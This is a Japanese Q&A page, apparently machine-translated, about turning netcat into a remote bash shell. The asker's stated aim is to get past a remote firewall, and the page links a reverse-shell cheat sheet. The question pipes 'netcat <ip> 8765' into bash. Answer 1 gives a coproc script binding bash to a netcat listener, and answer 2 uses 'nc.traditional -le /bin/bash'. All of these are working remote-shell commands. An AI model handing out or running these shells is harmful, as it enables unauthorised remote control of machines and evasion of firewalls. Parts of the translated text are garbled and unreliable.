Netcatが聞いて結果を送る魔法

Netcatが聞いて結果を送る魔法

リモートコンピュータへの接続を受信し、netcatリモートコンピュータからのすべてのテキストに対してbashを実行し、コマンドの結果を再度リモートコンピュータに送信しようとします。

はい。完全にハッキング。

私は次のように働きます。

私のローカルコンピュータで実行します。netcat -l -p 8765

リモートファイアウォールがあるコンピューターで、次の操作を実行します。netcat <ipofmylocalmachine> 8765 | bash -

tail -f /tmp/outputリモートコンピュータでaを実行してaと入力すると、コマンドの結果を表示できます。echo "test" > /tmp/output

しかし、ローカルコンピュータでbashコマンドの結果をどのように見ますか?

PythonとPerlを使ってこれを行うことはできますが、bashだけを使ってどうすればよいですか?

ちなみに、私はリバースシェルの解釈を知っています。http://blog.safebuff.com/2016/06/19/Reverse-shell-Cheat-Sheet/しかし、私は少し違うものを探しています。開いているポートは、サーバーで開いているポートではなく、ファイアウォールのないクライアントで開いているポートです。

答え1

基本的にあなたが望むのは、netcatのSTDOUTをbashのSTDINに接続し、bashのSTDOUTをnetcatのSTDINに接続することです。

Bashにはコマンドを起動する方法がいくつかありますが、コマンドを起動してコマンドを読み書きする方法は1つだけです。バッシュがそれを呼ぶコルーチン

それでは、私たちが望むことをできるようにする最終的なスクリプトを見て分析しましょう。

#!/bin/bash
coproc netcat -l -p 8765
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1

したがって、最初の行はnetcatバックグラウンドで始まり、netcat数値が格納されているファイル記述子にSTDOUTを割り当て${COPROC[0]}netcat番号が格納されているファイル記述子にSTDINを割り当てます${COPROC[1]}
これで、これらのファイル記述子をbashのSTDIN / STDOUT / STDERRにリダイレクトする必要があります。ただし、bashがスクリプトを実行すると、スクリプトファイルからコマンドを読み取り、ファイル記述子から読み取りに切り替えるように指示する方法はありません。したがって、bashを再実行すると、STDINはに接続され、${COPROC[0]}STDOUTはに接続され、${COPROC[1]}STDERRはに接続されます${COPROC[1]}

答え2

このパッケージが必要ですnetcat-traditional

次のコマンドを使用します。

$ nc.traditional -le /bin/bash -p <port to listen>

たとえば、

nc.traditional -le /bin/bash -p 8888

接続して実行するlsと、ファイルを表示できます。

関連情報